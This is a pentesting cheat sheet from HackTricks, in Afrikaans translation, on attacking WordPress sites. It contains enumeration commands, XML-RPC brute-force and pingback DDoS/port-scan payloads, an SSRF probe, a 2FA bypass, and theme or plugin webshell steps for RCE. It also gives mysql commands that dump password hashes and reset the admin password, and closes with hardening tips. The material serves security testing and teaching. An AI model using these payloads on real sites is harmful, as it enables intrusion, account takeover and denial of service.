Wordpress
Reading time: 16 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
-
Gelaaide lĂȘers gaan na:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
TemalĂȘers kan gevind word in /wp-content/themes/, so as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur tema twentytwelve te gebruik, kan jy die 404.php lĂȘer in: /wp-content/themes/twentytwelve/404.php toegang.
-
Nog 'n nuttige url kan wees: /wp-content/themes/default/404.php
-
In wp-config.php kan jy die wortelwagwoord van die databasis vind.
-
Standaard aanmeldpade om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Hoof WordPress LĂȘers
index.php
license.txt
bevat nuttige inligting soos die weergawe van WordPress wat geĂŻnstalleer is.wp-activate.php
word gebruik vir die e-pos aktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.- Aanmeldmappies (kan hernoem word om dit te verberg):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
is 'n lĂȘer wat 'n kenmerk van WordPress verteenwoordig wat data toelaat om oorgedra te word met HTTP wat as die vervoermeganisme en XML as die koderingmeganisme optree. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.- Die
wp-content
gids is die hoofgids waar plugins en temas gestoor word. wp-content/uploads/
Is die gids waar enige lĂȘers wat na die platform gelaai word, gestoor word.wp-includes/
Dit is die gids waar kernlĂȘers gestoor word, soos sertifikate, lettertipes, JavaScript-lĂȘers, en widgets.wp-sitemap.xml
In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lĂȘer met al die openbare plasings en publiek navraagbare plasingstipes en taksonomieĂ«.
Post eksploitatie
- Die
wp-config.php
lĂȘer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabelvoorvoegsel. Hierdie konfigurasielĂȘer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing.
Gebruikers Toestemmings
- Administrateur
- Redakteur: Publiseer en bestuur sy en ander plasings
- Skrywer: Publiseer en bestuur sy eie plasings
- Bydraer: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
- Tekenaar: Blader deur plasings en wysig hul profiel
Passiewe Enumerasie
Kry WordPress weergawe
Kontroleer of jy die lĂȘers /license.txt
of /readme.html
kan vind
Binne die bronskode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS skakel lĂȘers
- JavaScript lĂȘers
Kry Plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Kry Temas
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Trek weergawes in die algemeen uit
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktiewe enumerasie
Plugins en Temas
Jy sal waarskynlik nie al die moontlike Plugins en Temas kan vind nie. Om al hulle te ontdek, sal jy aktief 'n lys van Plugins en Temas moet Brute Force (hopelik is daar outomatiese gereedskap wat hierdie lyste bevat).
Gebruikers
- ID Brute: Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Force:
curl -s -I -X GET http://blog.example.com/?author=1
As die antwoorde 200 of 30X is, beteken dit dat die id geldige is. As die antwoord 400 is, dan is die id ongeldige.
- wp-json: Jy kan ook probeer om inligting oor die gebruikers te verkry deur te vra:
curl http://blog.example.com/wp-json/wp/v2/users
'n Ander /wp-json/
eindpunt wat 'n bietjie inligting oor gebruikers kan onthul, is:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos gemaak het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.
Neem ook kennis dat /wp-json/wp/v2/pages IP-adresse kan lek.
- Aanmeld gebruikersnaam enumerasie: Wanneer jy aanmeld in
/wp-login.php
is die boodskap anders as die aangeduide gebruikersnaam bestaan of nie.
XML-RPC
As xml-rpc.php
aktief is, kan jy 'n geloofsbriewe brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses outomatiseer deur dit te gebruik byvoorbeeld).
Om te sien of dit aktief is, probeer om toegang te verkry tot /xmlrpc.php en stuur hierdie versoek:
Kontroleer
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Geloofsbriewe Bruteforce
wp.getUserBlogs
, wp.getCategories
of metaWeblog.getUsersBlogs
is sommige van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die boodskap "Onkorrekte gebruikersnaam of wagwoord" binne 'n 200 kode antwoord moet verskyn as die geloofsbriewe nie geldig is nie.
Met die korrekte geloofsbriewe kan jy 'n lĂȘer oplaai. In die antwoord sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Daar is ook 'n sneller manier om akrediteer te brute-force met system.multicall
aangesien jy verskeie akrediteer op dieselfde versoek kan probeer:
Om 2FA te omseil
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, kan jy dalk xmlrpc.php misbruik om in te log met daardie akrediteer terwyl jy 2FA omseil. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS of poort skandering
As jy die metode pingback.ping in die lys kan vind, kan jy die Wordpress dwing om 'n arbitrĂȘre versoek na enige gasheer/poort te stuur.
Dit kan gebruik word om duisende Wordpress webwerwe te vra om toegang te verkry tot een plek (so 'n DDoS word in daardie plek veroorsaak) of jy kan dit gebruik om Wordpress te laat skandeer van 'n interne netwerk (jy kan enige poort aandui).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
As jy faultCode met 'n waarde groter as 0 (17) kry, beteken dit die poort is oop.
Kyk na die gebruik van system.multicall
in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Hierdie lĂȘer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: /wp-cron.php
Wanneer hierdie lĂȘer geaccess word, word 'n "zware" MySQL query uitgevoer, so dit kan deur aanvallers gebruik word om 'n DoS te veroorsaak.
Ook, standaard, word die wp-cron.php
op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek) aangeroep, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
/wp-json/oembed/1.0/proxy - SSRF
Probeer om https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net te access en die Wordpress-webwerf mag 'n versoek na jou maak.
Dit is die antwoord wanneer dit nie werk nie:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Hierdie hulpmiddel kontroleer of die methodName: pingback.ping bestaan en vir die pad /wp-json/oembed/1.0/proxy en as dit bestaan, probeer dit om dit te exploiteer.
Outomatiese Hulpmiddels
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Kry toegang deur 'n bietjie te oorskryf
Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bietjie van enige wordpress-lĂȘer omflip. So jy kon die posisie 5389
van die lĂȘer /var/www/html/wp-includes/user.php
omflip om die NOT (!
) operasie te NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Paneel RCE
Wysig 'n php van die tema wat gebruik word (admin geloofsbriewe benodig)
Uiterlik â Tema Redigeerder â 404 Sjabloon (aan die regterkant)
Verander die inhoud na 'n php shell:
Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Jy kan gebruik:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
Dit mag moontlik wees om .php-lĂȘers as 'n plugin op te laai.
Skep jou php backdoor met byvoorbeeld:
Voeg dan 'n nuwe plugin by:
Laai die plugin op en druk Installeer Nou:
Klik op Procced:
Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien:
Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:
Uploading and activating malicious plugin
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:
- Plugin Verkryging: Die plugin word verkry van 'n bron soos Exploit DB soos hier.
- Plugin Installasie:
- Navigeer na die WordPress-dashboard, gaan dan na
Dashboard > Plugins > Upload Plugin
. - Laai die zip-lĂȘer van die afgelaaide plugin op.
- Plugin Aktivering: Sodra die plugin suksesvol geĂŻnstalleer is, moet dit deur die dashboard geaktiveer word.
- Eksploitering:
- Met die plugin "reflex-gallery" geĂŻnstalleer en geaktiveer, kan dit benut word aangesien dit bekend is om kwesbaar te wees.
- Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf verleen.
- Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf te exploiteer.
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard vir die installasie en aktivering van die plugin uitbeeld. Dit is egter belangrik om op te let dat die eksploitering van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetrasietoetsing met eksplisiete toestemming.
Vir meer gedetailleerde stappe, kyk: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is 'n skrip wat ontwerp is om 'n Cross-Site Scripting (XSS) kwesbaarheid na Remote Code Execution (RCE) of ander kritieke kwesbaarhede in WordPress te eskaleer. Vir meer inligting, kyk hierdie pos. Dit bied ondersteuning vir WordPress weergawes 6.X.X, 5.X.X en 4.X.X. en laat toe om:
- Privilegie Eskalasie: Skep 'n gebruiker in WordPress.
- (RCE) Aangepaste Plugin (backdoor) Oplaai: Laai jou aangepaste plugin (backdoor) na WordPress op.
- (RCE) Ingeboude Plugin Wysig: Wysig 'n Ingeboude Plugin in WordPress.
- (RCE) Ingeboude Tema Wysig: Wysig 'n Ingeboude Tema in WordPress.
- (Aangepas) Aangepaste Eksploite: Aangepaste Eksploite vir Derdeparty WordPress Plugins/Themes.
Post Exploitation
Trek gebruikersname en wagwoorde uit:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Verander admin wagwoord:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Aanvaloppervlak
Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit kan blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in hierdie blogpos.
wp_ajax
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce sal baseer wat enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hĂȘ (ongeag sy rol).
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die gebruik van nopriv
maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).
caution
Boonop, as die funksie net die magtiging van die gebruiker met die funksie wp_verify_nonce
nagaan, kyk hierdie funksie net of die gebruiker ingelog is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae geprivilegieerde gebruikers mag toegang hĂȘ tot hoĂ« geprivilegieerde aksies.
- REST API
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die register_rest_route
funksie:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Die permission_callback
is 'n terugroep funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.
As die ingeboude __return_true
funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.
- Direkte toegang tot die php-lĂȘer
Natuurlik gebruik Wordpress PHP en lĂȘers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lĂȘer te benader, gaan dit deur enige gebruiker uitgebuit kan word.
WordPress Beskerming
Gereelde Opdaterings
Maak seker dat WordPress, plugins, en temas op datum is. Bevestig ook dat outomatiese opdatering geaktiveer is in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ook, installeer slegs betroubare WordPress-inproppe en temas.
Sekuriteitsinproppe
Ander Aanbevelings
- Verwyder standaard admin gebruiker
- Gebruik sterk wagwoorde en 2FA
- Periodiek hersien gebruikers toestemmings
- Beperk aanmeldpogings om Brute Force-aanvalle te voorkom
- Hernoem
wp-admin.php
lĂȘer en laat slegs toegang intern of vanaf sekere IP-adresse toe.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.